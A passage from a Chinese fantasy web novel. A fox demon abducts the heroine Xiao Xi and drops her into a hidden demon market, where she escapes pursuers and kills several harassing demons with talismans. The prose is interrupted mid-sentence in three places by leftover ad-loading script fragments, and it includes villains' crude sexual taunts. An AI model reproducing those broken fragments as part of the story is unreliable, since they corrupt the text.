但他也中了香雾的毒,尽管他的反应已经十分快,能做到的也仅是从床上爬起来拖着麻痹的身体攀上窗子,如今他能超出体力极限去揪住萧喜的裤腿,已是竭尽全力了。 那女妖看到朗月的一瞬间,顿时吓得一震,手忙脚乱地在萧喜身上瞎挠起来,想要尽快拽走她。 眼看着女妖的力气越来越大,朗月愈渐孱弱的手劲也越来越抓不住萧喜,情况紧急下,他只好抛下一切顾虑,立马灌输灵力到手心,清蓝色的灵纹顺着他手上的筋路赶到他的指尖,淡淡的蓝色光芒透过萧喜的腿裤,在她左腿脚踝外侧上端烙下一块极其冰凉的印记。 萧喜被腿上突然袭来的冰感刺激到了,这种凉意竟让她感到刺骨难耐,虽然她不明白朗月到底在做什么,但心里还是没忍住嘀咕,他下手的力道真是一点都没变。 “别……担心,我已缔印,很快就会找到你。”朗月颤抖着逐渐失去知觉的声带,吃力地对萧喜说了最后一句话。 可惜,萧喜早已没有再回话的力气了。 很快,在躲在黑幕下的女妖的努力下,萧喜还是被硬生生地从高楼上拖了下去,她最后连睁眼的力气都没有了,直接昏了过去。 ……. 雾香不得已恢复了妖身,并用妖术放大了自己的体型,用自己宽阔的狐背拖着被她的香雾毒晕过去的萧喜,她行色匆匆地在各大林海荒地中逃窜奔波,生怕自己被那个仙机门的少年追上来。 她已经跑了很久,但还是觉得心有余悸,因为她向来以自己的毒香为荣,这是她在后来好不容易习得的绝顶妖术,无论是对普通凡人还是对修真门派的人,都能起到一定的致幻作用。 话虽然是这么说,但若是真要跟修真门派的人杠上,她还是很容易吃亏的。 因为,对于修真门派的人来说,毒香虽然能迷惑他们乃至让他们察觉不到她的妖气,但却都只是暂时的。要不了多久,这些人都会立马反应过来,厉害的肯定会追杀她,到时候怕是跑都跑不掉。 平常的话,她一旦碰上这些修真门派,无论是谁,都是先跑为上,毕竟她还是有些自知之明的。可是,今天,她绝对不愿让步。 她本来正处在赶往盛京的路上,却没想到能嗅到“老熟人”萧喜的气息,她本就是个容易控制不住脾气且极其喜欢感情用事的家伙,一闻到萧喜的味道,无数令她恼羞成怒的回忆就冲昏了她的大脑,让她一路不辞辛苦地跟着气息跑到了云镇。 犹记三年前,雾香还是个不学无术又好吃懒做的妖精,她总是抱着侥幸心理,觉得自己不会被修真门派的人抓到,所以耽于修炼。同族之下,就她还是只单尾巴狐妖。 那年隆冬雪夜,她抱着去盛京的心思,刚从遥远的西南方老巢赶到东部某地,却不小心被哪个缺德的修真弟子丢在犄角旮旯里的法器中伤了,虚弱之下她不得不退回原型,躲进某只竖在荒野中的破屋子里,默默疗伤修养,不知不觉间,她就睡着了。 她的能量所剩无几,她的身子为了更好地减少维持生命的能量消耗,干脆封住了她的内息和灵根,令其进入了假死状态。 谁承想,在这样酷寒的季节里,荒郊野岭中,还能冒出萧喜这么个奇葩丫头。 外面的雪虽然停了,但南方雪融之时才是最冷的时刻,对萧喜来说,融雪的夜晚比下雪的夜晚还要冷下数倍。万分难耐下,她觉得自己备受命运的眷顾,才叫她找到了这只立在黑幕下的孤零零的破屋子。 她一进来就看到一只睡得昏死过去的紫狐,紫狐奇异的外表完全吸引住了她的注意力,她聂手聂脚地接近它,垂眸仔细端详,发现它毫无动静。 难不成是被冻死了? 一个想法自然而然地窜到萧喜的脑海里。 萧喜抱着再试探试探的心态伸手去抚摸紫狐,她的皮毛厚实而柔软,隔着这样的皮毛,萧喜完全摸不出这只太过虚弱的紫狐的呼吸幅度和体温。 真死了? 萧喜瞅着这只狐狸,心中动了动,于是干脆毫无顾虑地拎起狐狸的又长又厚又柔软的大尾巴,往自己怀里一揣,她把快要冻僵的双手往大尾巴上的毛上一压,登时就伸手不见五指了,没过多久,她的体温就托紫狐毛的福,温存了起来,前所未有般的温暖顺着她的双手灌进她的全身,她开始打心底依赖躺在自己怀里的狐狸了。 以至于……她等第二天要出发的时候,还秉承着走过路过不能错过的不浪费的“良好美德”,直接割下了紫狐狸的大尾巴,做成了能围在脖子上的紫色狐裘,想着以后还能继续享用它给自己带来的难忘暖意和舒适触感。 萧喜永远不会想到,被她有意割下尾巴的狐狸根本没有死,而且这只紫狐也根本不是什么普通的动物,而是一只紫狐妖。紫狐妖雾香在破败的屋子里醒来后,臀下就传来犹如刀割般的疼痛,疼得她满地打滚不说,还“斯拉斯拉”的惨叫哭闹不止。紧接着,她发现自己貌美无比的紫色大尾巴被人割去了后,更是直接哭晕了过去。 醒来后的她悲愤欲绝,却也因此意识到了自己太过没用的残酷现实,她其实很怕死,自然舍不得真的绝死过去,最后她打消了继续去盛京的想法,怏怏不乐地抱着自己残缺的屁股返回家乡,决定潜心修炼后再来盛京,当然,她也必须要报仇。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 只是她没有想到,日子会凑得这么巧,三年后的她重新踏上去往盛京的路途时,居然又一次在这条路上碰见了萧喜!三年前,她一直记着萧喜割下她尾巴后残留在她身上的气味,虽然三年的闭关修行让她重新长回了尾巴,但倘若没有萧喜,她现在就是双尾狐了!以至于她只要想起尾巴,就会恨得牙痒痒,甚至晚上都睡不着觉! 所以,如此深刻的仇恨烙下,她对萧喜气味的敏感度就格外高了,以至于她能在很远的地方就能迅速捕捉到对方的存在,并且一路上穷追不止,还跟不丢。 雾香跟了萧喜和朗月坐着的马车一整路,发现这两人格外疲惫,在车上睡得很死,也毫无警备心,所以他们完全察觉不到她的妖气,这给了她很多可乘之机。 可是,尽管如此,她还是十分顾忌待在萧喜身边的朗月的身份,所以总是刻意保持自己和他们的距离,以免出现难以挽回的意外。 不过,等到了云镇后,雾香在他们下车后看清了朗月的模样,不过只是个十来岁的人类少年,她就按照惯性思维,想当然地认为修真门派里的终归都是些稍微有点天赋的凡人,修炼起来还是会比妖族吃力得多,花费的时间也多得多,所以年纪小的弟子一般都是资历不足的,完全没有多少威慑力。 她显然将朗月归为了这一类型的修真弟子,尽管这名弟子隶属于修真门派中最是位高权重的仙机门。 雾香的胆子因此就更大了些,她火速决定今晚就动手。 虽然计划很果断,但她也绝不是行事鲁莽的妖,她之所以没有像没有脑子一样当场就无所畏惧地把萧喜劫走,是因为她对修真门派弟子心狠手辣且手段狡诈的印象烂熟于心,她并不能也不敢在任何保障措施都不做好的情况下就动手,毕竟那小少年奈何不了他,不代表人不记仇,不会喊上其他修真之人来报复她呀! 于是,她提前蹲点好了地方,并掐点针对萧喜和朗月的屋子,释放了能致幻的毒香,再进一步动手。 但是意外还是发生了,那个被她轻视过的少年郎居然一点都不弱!在她加大浓度和扩散度的香雾中,他居然还能保持一定程度的清醒,而且还有力气跟她当场对峙抢人。 这个场面属实是把雾香吓傻了。 更令她担惊受怕的是,少年郎最后一刻对着萧喜说的那句话—— “别……担心,我已缔印,很快就会找到你。” 雾香虽然听不懂他话里“缔印”的意思,但联系着后半句的内容,也多半明白缔印的用意了。而且这话也不像瞎编唬她的,毕竟她亲眼看见对方在萧喜身上留下了颜色奇异的印记。 那少年郎就是用这种方式在萧喜身上定位了,所以无论她雾香带着萧喜跑到哪里,都会被追上! 而且她也知道,既然这少年在应对她最厉害的毒香时,还能有如此惊人的表现,那么毒香对他的影响也必然会比别人的弱很多。也就是说,要不了多久,他就会追上来! 仙机门弟子的风行术在妖界名声也很大,据说厉害的可以日行千里! 当时雾香一想到这里,脑子忽地一僵,一刻也不敢耽搁,只顾着先拖走目标,逃远再说! 她一边逃跑,一边骂自己太过心急应事,一边警告自己以后一定不能再与仙机门如此可怕的修真门派扯上关系。 可是一直逃跑也不是个办法啊! 该死!她不愿当场就把萧喜杀死,因为她心心念念的大尾巴还没要回来呢!所以她本来是想无声无息地把人绑走后,先对她严加拷打,再逼她交出尾巴,最后呢,慢慢折磨她,让她也体会体会自己三年前的断尾之痛,如此才能解下心头之恨! 如今她的处境每况愈下,原本脑中酝酿着的各种复仇的、让她倍觉快爽的计划,不得不泡汤。她开始琢磨要不要立马中断自己的计划,或者说趁现在就把萧喜叫醒,提前对她上演脑海里千般种类的复仇手段,夺回尾巴…… 可是,这些念头刚出来没多久,就立马被她丢开了。 因为就算现在把萧喜丢开,让她和自己不再扯上关系的话,她今晚的努力全部白费了不说,还讨不到任何好处,毕竟她已经和人家仙机门结下了仇,对方也绝对能用追踪她妖气的方法找到她,没有了把柄的她,结局该如何? 而且要是提前复仇的话,焉知醒来后的萧喜会不会帮别人拖延时间?风险太大,还让自己吃力不讨好,搞不好,她的下场会比现在能预料到的还要惨烈! 那现在该怎么办呢?! 等等…… 雾香在深夜穿梭如电的身影忽地僵了僵,她抬头看了看自己前进的方向——盛京。 对啊!盛京! 那里可是有鬼市的地方! 雾香顿时心花怒放,她疲惫的身躯忽地来了劲儿,她用前肢蹬了蹬草地,抖擞了全身上下漂亮柔顺的毛发,它们在浅浅月色下发着紫色的珠光。她重振旗鼓,背稳了昏迷在自己身上的萧喜,以更为快速的脚程,朝目标地盛京飞奔而去。 144. 鬼面妖市(1) “鬼市”并非仅仅是凡人耳熟能详的奇闻异录中的内容,也是妖界著名的传说之地,对于妖来说,它是个以妖为尊,而抵触排斥一切非妖之族,即为人族的妖界圣地。 在鬼市,一切奇异的乃至秘不外宣的交易都可以在此处频频出现,不过交易双方必须都只能是妖。 若说江湖上最为著名的传闻是暗曹营,那么妖界最为著名的传闻就是鬼市了。不过,若是鬼市出世的时间再早些,估计也是能在江湖上与暗曹营齐名而坐的传奇。 虽然暗曹营与鬼市是两个本质截然不同的组织,却都有一个共同点,那就是虚实难分,虽然他们的名声格外浩大,却不过都停留于片面的传说之言罢了。江湖上仅有极少部分的人可以寻到暗曹营的据点,妖界也仅有极少部分的妖可以寻到鬼市的据点。 雾香就是其中这一少部分的妖。 她是紫狐族之幼女,虽然是从小出了名的不学无术的家伙,但同族家中长辈还是对她呵护有佳,乃至百依百顺。 长辈亲人们唯一一次和她起的冲突,也就三年前她被人族书卷上对于帝王之家的盛京城的美言诱惑,固执地要跑到遥远繁华的盛京去时,族人因为太过担忧,而坚决不准让步引起的。 不过,她从小在族里养尊处优惯了,也早就习惯了偷偷跑到各种地方玩耍的乐趣,所以自然不听劝,甚至还趁族人不注意,自己逃出了巢穴。也正是那一次赶往盛京的时候,让她遇到了天煞的萧喜,从此气急败坏的她自愿返回了族人的怀抱,还突然一改全貌,刻苦修炼了起来,这叫大家下巴都要惊掉了。 雾香的突然成长引起了族长的注意力,他意识到,若要让她学会保护自己,就必须要让她像上次一样,出去面对一定的磨难,才能激发她的潜力。 于是,在三年后,雾香再度提及要去往盛京的时候,族长居然破天荒地同意了。族长心想,以雾香如今的本事,独自一人长途跋涉应该还是能尽量做到自保的,不过他还是不敢保证她会不会在盛京那个传闻中鱼龙混杂的地方长久呆下去,他担心她会不会被那些虎视眈眈还心思狡猾的凡人骗了去,也害怕她会不会因为太感情用事从而暴露自己的身份,招致杀身之祸。 族长想到自己知道的一个秘密——传说中的鬼市不就是在盛京吗?! 故而,在雾香出发的那日,族长亲自揽她入屋,将鬼市的秘密告诉了她,说是一旦遭遇不测或是意识到任何无法解决的问题时,就立马去往鬼市避难。 这不,族长果真是神!雾香没有想到,这鬼市竟然会这么快就能派上用场! 雾香越想越开心,她终于可以摆脱朗月那个可怕的修真弟子了! 虽然她和仙机门的那个少年已经结了仇,但她绝不是沉溺于过去的妖。所以既然事情已经进展到了如此田地,那她就必须见招拆招,思考出既能不辜负自己的辛劳成果从而了却旧恨,又不会在事已至此的基础上再生事端的法子来。 她认为,自己只要快马加鞭,将萧喜尽快丢进鬼市后,萧喜不会好过是自然,而她只要不在此之前被那个少年追上,她就能一直躲在鬼市里面藏身,岂不美哉?! 只不过唯一令她感到可惜的是,不能从萧喜那边要来自己从前爱惜的大尾巴了。 罢了,如今重中之重还得先保证自己的安危才是! 雾香一边安慰自己,一边不断地脑补着自己朝族长磕了百八十个响头的画面,她还下定决心有朝一日能回去,她定要好好孝敬他老人家! 雾香觉得自己这辈子都没跑这么快过,小时候吮吸她阿娘奶的时候都没这么卖力过,她甚至透支了自己的内息,也要将腿脚的爆发力提到最大。 长长的狐耳划过寂静无声的夜,勾起一阵阵有通天般本事的呼啸声,兹拉拉地飘着,她尖锐的狐嘴都被逆行的风儿吹咧了。 功夫不负有心狐,她竟然在一夜之间就抵达了盛京的城郊。她虚脱地倒在了荒岭之中,身上背着的萧喜也慢慢从她身上滑落。 鬼市严禁白天进入。 因为白天往往是凡人最爱的行动时间,以往有过凡人误打误撞找到这里的事情发生,所以为了避免这种情况再出现,鬼市就定了这么个铁规矩。 一般情况下,鬼市在白日都会做好障眼法,不叫除了妖以外的任何人看出它的位置,但如若要擅闯,不管是人是妖,那就都格杀勿论了。 距离天亮还有不到一个时辰的时间,这对她来说是绰绰有余的,但问题是,她并不觉得自己直接带着萧喜进鬼市是个好选择,因为在鬼市这样一个非黑即白的地方,身为妖的她若是当场跟萧喜这个凡人扯上关系的话……后果不堪设想啊,所以她才不得不放弃拷打萧喜交出她尾巴的念头来着。 雾香大口大口地喘起气,她灵机一动,很快就想到了办法——既然直接进不方便,那干脆从天上把人给她丢下去,神不知鬼不觉的,正好啊。 她重新蓄力,将萧喜背好,迈开了步子,奔向前方隐没在夜间的雾鬓云寰里的城火之中。 她照着族长所说的路线奔走着,很快就找到了鬼市的据点,那里的景象跟外面还沉睡于死寂之中的人间烟火截然相反,藏于深洞之中的鬼市处处点满洞火,里面宽敞无比,灯火辉煌,各种高大的建筑数不胜数,里面外面妖满为患,街道上的喧嚣之声,伴着轰鸣起来的烟火和时不时就吹奏起来的乐曲声,不断躁动。这哪里是什么“市”啊?!分明就是一块离群索居的世外之城! 在这里行走的所有妖物全部带着各式各样奇形怪状的面具,难怪“鬼市”的全名是“鬼面妖市”呢。 雾香攀爬在山洞至高处上,向下俯瞰,被这样的景象迷乱了狐眼。但她也没有因此耽误任务,她着急忙慌地将背上的人衔下来,用四条腿左蹬蹬右蹬蹬,好不容易才将萧喜塞进了洞口,她瞥了一眼正从高处往下坠落的的萧喜,心中得意非凡,还拍拍狐掌,摇头晃脑起来。 她赶忙甩了甩毛发,罩了一身香雾下去,让萧喜留在身上的人气全然消散。然后就原路爬下去,想到鬼市随便偷个面具过来,别到时候在这儿犯了规矩。 毕竟,在鬼市如若不按照这儿的规矩行事的话,那也是要格杀勿论的。 然后嘛,她就躲起来静观其变,最好能在这里快活一阵,反正她身上带着的妖币十分充足。 雾香觉得那少年的能耐再大,也得跟她一样不要命似地奔波,才有可能在一个时辰内跟过来,不过,就算他能找到鬼市来,也肯定不能以一己之力逃过这么多妖的眼皮子,最后还不是跟萧喜一样,死路一条。 等到那时候,她就可以毫无顾虑地出去玩耍了! …… 遭到毒雾影响后的萧喜本该昏迷至少一整日才对,但她被雾香背着兜了一路上的风,半夜寒凉的空气在被急速奔驰的劲风搅动后,就更有威力了,萧喜在这种恶劣的环境上待了许久,原本昏涨的脑袋被偏头疼搞得稍微有了点对疼痛的敏感度,毒雾的作用因此大大削弱。 除此之外,在云镇到盛京这条北上长途上,地形分歧是很大的,哪怕是慢些赶路也会遭到难以避免的颠簸之苦,更别提是今晚这般不要命了般的飞驰了。 这就导致萧喜的胃水翻滚得厉害,但碍于神智不清和身躯麻痹,她的身体对包括头疼和胃疼等等各种不适状况的反应力都慢得多。不过这不代表这些疼痛会就此消失,事实上是,它们会一直酝酿下去,厚积而勃发,最后变本加厉地反馈给主人。 被雾香从高耸的洞顶抛下后的萧喜,遭受着比不久前疯狂赶路时受到的还要变态的风力冲击,高处降落带来的强悍的失重感也逐渐吞噬她全身的每一个角落。 在她的潜意识里,觉得自己好像被什么东西掏空了肉身,身体内部变 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成了一无所有的空心状态,里面被灌满了气体,且外面还要遭受着霸道的狂风骚扰。 真的……太难受了。 难受……得都快泪失禁了…… 难受……得脑袋都要炸开了…… 难受……得想掏空自己的肠胃,吐出里面所有的储积物…… 她不想再这么睡下去了,不想…… 不想! 强烈的求生欲望激醒了她身体内蔓延生长的灵根,金色的光芒埋在她的皮肉之下,此时熠熠发光着,瞬间就将全身的筋脉打通了,残存在她体内的毒雾被清得一干二净,她的手脚忽然就变得灵活起来,每一寸肌肤也都在灵光的沐浴下变得鲜活柔软起来。 随着一口新鲜的空气被灌入鼻腔,她疲惫无力的眼皮被掀起,神智也顿时恢复了。 她猛然发现自己正在高速下降,而且对身下挤着黑压压人群的长街灯火格外陌生,她看不清这是什么地方,也根本不明白为什么自己正以这种方式出现在这里。 但现在不是该想这些的时候,萧喜收紧神经,张开双臂,尽量让自己在高空中保持平衡,在寻找到完美的平衡点后,她忍着腹腔的不适感,轻轻蹬下左腿,翻转了降落的方向,防止自己就这么摔死在大街上。 在临近地平面升起的热浪时,她锁定好了降落的地点,竭力让自己偏离原定轨道,落在了一处高楼顶端的黑瓦上。 这座高楼非常气派,不提其他,就连层数也至少有四五层以上了,但是这种气派在如今萧喜的眼里可算不上好东西,因为一旦她落空,就会当场掉下去,等待被摔死的命运。 与萧喜的担忧相辅相成的是,此楼屋顶倾斜度很大,她根本无法在上面站稳,她只好惊魂未定地挂在上面,拼命地用后背抵住身后的瓦片,瓦片硌得她皮肤又疼又刺挠。 她为了保险起见,还特地将双腿微微蜷曲起来,用两只一前一后的脚后跟顶住身下两处与黑瓦相衔接的缝隙上,从而稳定斜躺的身躯。 她双臂平行,用相同的办法将手肘卡在瓦缝间。正当她以为自己已经完全稳住状态的时候,她急促的呼吸也开始慢慢缓和起来,其他的气息得以被她察觉。 她忽然意识到高楼之下的被明亮的灯火烘托起来的层层热浪里,溢满了千奇百怪的妖气。 她骇然心想——这里究竟是什么地方?!怎么会有这么多的妖?! 萧喜刚刚平复的心情再度翻滚起来,虽然她对妖物没有特别极端的敌对意,但这可不代表大多数人也会这么想。同理,绝大部分的妖其实都会对人族表现出极端的看法,她作为这样一个人族女子,孤单地落到满是妖物的巢穴里,一旦被发现了,有去无回不说,最后被吞得骨头都不剩都算轻的了! 她觉得现在的自己真是不幸中的万幸,正当她准备感谢老天爷给她准备了一处这么避开妖群的落地点时,老天刚好给她开了个天大的玩笑……. 她忽地听到身下不远处传来瓦片摇晃碰撞的“乒乓声”,像是有一大队的人在下面某处的屋顶上奔跑踩踏。 这些动静气势磅礴,随着它们离自己越来越近,她就感觉自己周围的瓦片乃至瓦片覆盖下的屋顶横梁和墙壁砖块都在发出震颤声。 不好的预感顿时冒出。 而她的直觉一向很准…… 倾斜度如此大的屋顶根本就架不住那些摇摇晃晃的冲击力,上端的瓦碎开始哗啦啦地往下抖,滑过萧喜的身体,灰尘扑得她满脸都是,越来越大的抖动幅度开始带动她的后背一起摇动。 随着双腿后跟下抵住的瓦片的滑落,她开始不受控制地往屋檐边快速移动,巨大的摩擦力让她背后的皮肉越来越烫,她疼得表情都扭曲了起来。 这什么瓦片啊?!这么劣质! 萧喜眼喷火光,却抽不出动嘴的时间,就只能憋屈地在腹中痛心疾首地谩骂。 145. 鬼面妖市(2) 突如其来的意外毫无任何反应时间留给萧喜,高度的落差感让她不得不手忙脚乱,令人寒心的是,她做不出任何有助于缓解时局的动作,只能在一层接一层倾斜度几乎一致的瓦顶上不停地向下翻滚,最后她砸到了一堆人身上。动作的戛然而止并没有让她肚子里的胃水停止翻滚,她开始不受控制地呕吐起来,就吐在她砸中的那堆人身上。 “我去!什么玩意!”那堆在屋顶上飞速踩踏飞奔的群体登时乱成了一锅粥。 “这他妈谁在天上吐东西?!” “呕!” 一堆妖齐齐发出令他们难以启齿的怪声,闹哄哄一片。 萧喜的身体素质还可以,虽然她在刚刚下落的时候吃了不少苦头,但好歹自己也算是个有轻功有灵根的人,疼是疼,不过在这两样东西的防护下,不会伤及要害。其实,刚刚那番急匆匆翻来覆去的动作她顶多受那么一两回就踩到极限了,但谁承想,在她刚要到极限的时候,背后垫了这么多肉身? 这下子不仅仅没叫她太难受,还帮她刹住了形成惯性的身子。 萧喜反应很快,在她发现自己砸中的根本不是人,而是一堆高高矮矮、看起来身体健壮,还带着一堆张牙舞爪的面具的妖怪后,她就立马弹起了身子,擦了擦嘴角,蹬着妖怪们的身子借力跃起,后跳到了离他们接近三尺开外的屋脊上。 她跳的时候为了更好应对这帮危险度极高的妖怪,就没肯将后背留给他们,而是选择了后退起跳,以防备偷袭。 但她没有想到的是,她甫一跳上屋脊,就撞上了什么在她背后疾驰而过的东西,差点就没站稳脚步。她骇然转身,以为自己碰上了偷袭,却没想到对上的是一双露在面具外的懵懂又充满恐惧的、在黑幕中发散着荧绿色光芒的竖瞳。 长着这双猫瞳的妖因为刚刚和萧喜无意间的碰撞,他瘫软在地,一时无法起身。他那紧张瑟缩的眼神,一看就是在害怕萧喜。 这是只猫妖?! 萧喜有些懵……她眯眼回看了一番另一侧凶神恶煞、恨不得眼冒怒光的妖群后,一时搞不清状况。 直到,她身侧三尺开外的站在屋脊下的妖群的领头人一声令下,打破了这分别来自三方势力的僵局。 但是,所谓的三方势力也不过是萧喜所以为的,那帮气势汹汹的妖群却理所当然地觉得,她和那只看起来胆小懦弱的猫妖是一伙的。 “妈的!这死黑猫终于被我找到了!这娘们跟他肯定是一伙儿的!给我抓住他们!” “喂喂喂?!你们别瞎放屁好不好!谁跟谁是一伙儿了?!”萧喜怒了。 但是那帮妖怪完全听不进去她的任何话,一个个都杀红了眼般,挥舞着双拳,一个接一个地从下面窜上来,跑得十分迅速,他们的强劲的腿力蹬在瓦片上,发出令萧喜感到熟悉的声音,震出令她同样感到敏感的震颤动静。 刚刚就是这帮家伙搞的动作把她从上面晃掉下来的! 萧喜恨恨地咬了咬牙,不仅仅是对这些妖怪的所作所为感到愤怒,也是为自己无论多么火冒三丈,都无法以一己之力对抗他们的现实而感到憋屈揪心。 寡不敌众的道理她明白得很,所以她没有任何犹豫,就踩稳了屋脊,用起卓越的轻功,想要逃离这个是非之地。但她没想到,刚刚还被吓得颤抖在下的猫妖却缠上了她,这个妖怪身手敏捷,她根本就甩不掉他,只能任由他抓紧自己的衣摆。 “我去!” 萧喜不敢置信地骂了一声,毕竟这样与猫妖纠缠不断的动作让她的行动迟缓了很多。眼看着在高空之间连绵不断的屋脊上飞檐走壁的自己快被那帮挥舞大刀的妖怪追上时,她不得已做出另一步的打算,而且还必须得将这只穷追不已的猫妖算进计策里去。 不过,她之所以想要这么搞,也是因为她看得出来这只猫妖没有要伤害她的意思。而且,让她觉得离奇的是,这只猫妖跑起来的速度居然连她这个凡人都不如,当真是弱得令人费解。 她抽空睨了一眼躲在她身侧飞奔的猫妖,猫妖怔住,随即躲避开萧喜的眼神,面具下闪烁的目光反映出他懦弱逃避的性子。 “…….”你确定你是妖吗? 萧喜抽了抽嘴角。 即便受了萧喜一遭扎心的眼神,猫妖虽然忌惮她,却还是不肯松开抓住她衣摆的手,似乎是把萧喜当作了救命稻草般的人物。 萧喜忍住暴躁的情绪,耐下性子左右打探了一番四周情势。她如今正处在黑幕下的一处屋脊上端,周围全是空荡荡的地方和倾斜度极高的屋顶,所以身后的那群妖怪跟她一样都受到了这两样因素的限制,从而不得不只能顺着笔直的屋脊行走,就算轻功卓越能支持他们跳跃到其他更高或是更矮的屋脊上,这种限制都不会消失。 但因为她现在身处的地方距离其他屋脊比较遥远,若要继续依靠跳跃到不同地方,以寻求更多避难时间的话,根本不是长久之计,如今她的体力根本比不过那帮妖怪,而且她身上还挂着个啥也不行的累赘…… 等等,既然这家伙是只猫妖,那么起码轻功还是比较卓越的吧! 萧喜灵机一动,她眼神定在了一处远看似乎越过去毫不费力的屋顶,但那处屋顶近看起来,实则和自己所在的地方有着两座高楼横距的距离。 这种建筑的分布模式,早在很多年前她随师父四处游历的时候就见识过,甚至当时她师父为了锻炼她的轻功,故意不提前告诉她这些陷阱,导致她在这上面吃了不知道多少亏。 如今的她早就对这种视角造成的“幻象”了如指掌,再不会像小时候那样,傻乎乎地往同样的坑里面跳了。 遥想小时候的自己一直对师父这种“无耻”的行径痛恨在心,却怎么都没想到,师父的教诲会在多年后又一次以“神机妙算”的方式,在关键时刻救自己一把。 感谢师父! 她的身体滚烫,内息如同不断酝酿翻滚的岩浆一样,等待着爆发,她知道自己的灵根已经“迫不及待”了。在她不久前空中坠落的时候,灵根就曾在没有任何外力干扰的情况下,自行疏通了她的五脏内腑,还为她驱散了余毒。这番经历似乎给了她十足的信心。 她现在想着在刚刚那番基础上,再添加一个意识清醒的条件,并试着在没有朗月的帮助和引导下,自行唤动体内的灵力。 她成功了。 萧喜使灵力全部灌输到她的腿上,她的腿感到干劲十足,并且行动起来十分利落,完全不给猫妖任何反应的机会。萧喜提前挑准力点,并准确无误地踢过去,让猫妖顺着她计划好的方向飞出去。 她的力气虽然比原来大得多,却没有夸张到能把一个活生生的男子踢出有两只高楼横距这么远的距离,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 足以送他到能分辨视觉真假的地方。 她料定这只猫妖是个胆小怕事但求生欲极强的家伙,不然他也不可能在这种敌我之分界限模糊的时候,就匆匆忙忙选择了保命的阵营。 猫妖在选择依靠她的时候,几乎没有考虑到除了立场以外的任何事情,很明显,他也是个脑袋简单的妖怪。 萧喜利用了猫妖求生欲望极强、没脑子,和没能力背刺她的特性,直接将他抛了出去,作为调走一大部分在身后对自己穷追不舍的妖的棋子。 而且猫妖也肯定不会出事,因为她提前为他准备好的降落地点,足以让他看破黑幕下的由高楼和高低不齐的墙壁组成的障眼法,他的求生欲和敏捷的轻功,会帮助他攀越墙壁找到正确的落脚点。 但他身后带动着的一大波心急脚乱的妖怪们就没这么好的运道了,他们在毫无预判且无法识别眼前假象的时候,肯定会刹不住极快的脚步,从而让他们坠进视觉错觉里潜在的陷阱——有着两座高楼横距宽的“深渊”。 猫妖的存在可以帮忙解决很大的麻烦。 不过,为什么萧喜敢肯定这种做法能勾走一大部分的妖呢?因为从她看到和听到的内容里看,不难发现,这只猫妖作为这帮妖怪的目标,已经被追杀了很久。她的贸然出现虽然对局势稍微做出了一点点的改动,却丝毫没有影响这个事实。 猫妖才是他们目标的重中之重,就算他和自己分头行动,那帮妖怪也会优先选择追着猫妖跑。 至于对她么?估计也就留两三个家伙跟着罢了,毕竟他们定会看她只是个模样娇俏的姑娘,而轻看她的能耐。 计划就这样轻松顺利地在萧喜的脑海里过了一遍,而如今的她,再度观察猫妖和自己身后的情况时,就会发现她脑海里的画面正在一一重现在她眼前。 那帮人数不少的妖怪们果真兵分两路,绝大部分都追上了猫妖飞去的身影,唯留下了几个样子不大正经的小喽喽猥琐地跟在她背后。 背对着他们的萧喜如愿以偿后,慢慢放慢了步伐,最后拍拍身上的灰尘,风度翩翩地转过身来,看向带着兔头獐脑等等面具的妖。 这几只妖怪自称“怜香惜玉”,看见萧喜不跑了,自己倒也就真不追了。 不过他们虽是不追了,但还是不自持地一步一步踱着步子靠近她,满嘴还跑着黄腔。 “你这姑娘是第一次溜进鬼市吧?连带面具的规矩都不明白,不怕被人瞧见脸面后遭到暗算和报复?”一只妖怪吊儿郎当地嗤笑道,言语间满是不屑,叫萧喜听得很不舒服。 “啧,小美人,别怕昂!就算坏了规矩,也没人敢伤害你,只要你乖乖到爷爷们这儿投怀送抱~哎嘿~” “瞧这漂亮傲气的小脸蛋儿~晚上肯定会被我们爷儿几个搞得哇哇哭吧!” “不仅要哭!还得求咱们呐!” 另外几只妖怪当即打断道,还不断发出□□的笑声,分外刺耳。 萧喜算好猫妖那边的进展后,终于忍无可忍,嘴角僵硬地咧起一边幅度,抬起眸子,满眼皆是蔑视。 “瞧着屁股多翘……” 眼看着这帮妖怪拿龌龊的眼神打量到自己的身上,萧喜恶狠狠地啐了口恶气,打断道:“长得真他妈丑,怪不得要带面具呢!也不撒泡尿照照自己,怎么好意思调戏像我这样的绝世大美人?!” 146. 鬼面妖市(3) 那几个妖怪许是没想到长着一副娇俏脸蛋的小姑娘能咋呼呼地说出这种话,所以齐齐瞪大了双眼,各对视了几眼。 就在此时,还没等他们反应过来的时候,他们就看见数张带着刀剑般锋利的棱角的黄色的还散着灵光的符纸,照面射来。这些符咒数量众多,尽管这些妖怪惯用蛮力,却也无法抵挡这一突如其来的包围攻势。 符纸攻势汹汹,卷走了妖怪们脸上的面具,萧喜见被飞舞旋转的乱符射中的一只面貌外露的妖怪,正瞪着着满是恐惧的眸子,长开手臂,朝着猫妖的方向想要张口呼救。 却不想被萧喜一个冷笑后指挥过去的一张纸符塞住了嘴巴,压根没叫这妖怪哼出半个字音,她木然地看着被凶煞之气包裹的符纸在他的嘴巴里横冲直撞,他的口腔冒出不断的血沫,她冷着声音,嘲讽地扬了扬眉,指住妖怪们看向的猫妖的方向,说道:“没有任何妖救得了你们,你们中计了。” 她装模做样地叉起腰来,颠着脑袋,故意学着这几个猥琐家伙的样子,做出一副吊儿郎当的姿态,摇摇晃晃的走近乱符边缘,张扬地抬起下巴,哼道:“姑娘我本来没准备要你的命,奈何你们的眼睛和嘴巴太脏,实在让我恶心得慌,我不希望你们以后还有机会用今晚对待我的方式,去对待其他无辜的人,尤其是姑娘。” 萧喜眸光收紧,她快步转身离去,松散的掌心顿时也捏紧起来,身后由乱符飞速包转组成了的球体,随着她的动作缩小,那些被团团包围在里面的妖怪甚至没有任何叫喊的机会,就已经被她杀死。 纸符在她的掌中火中燃尽,她惆怅地侧眸撇了一眼挂在屋脊上的几只死状惨烈的尸体,不禁咬紧了后槽牙。 因为她的冲动行事必然会引来更多的事端,这对她一个对眼下时局十分陌生的人来说,是很麻烦的事情。 但她并不后悔。 而且如果不那么做,她的确找不到更好脱身的办法,所以说,刚刚她动手的确是冲动之举,但更是无奈之举。 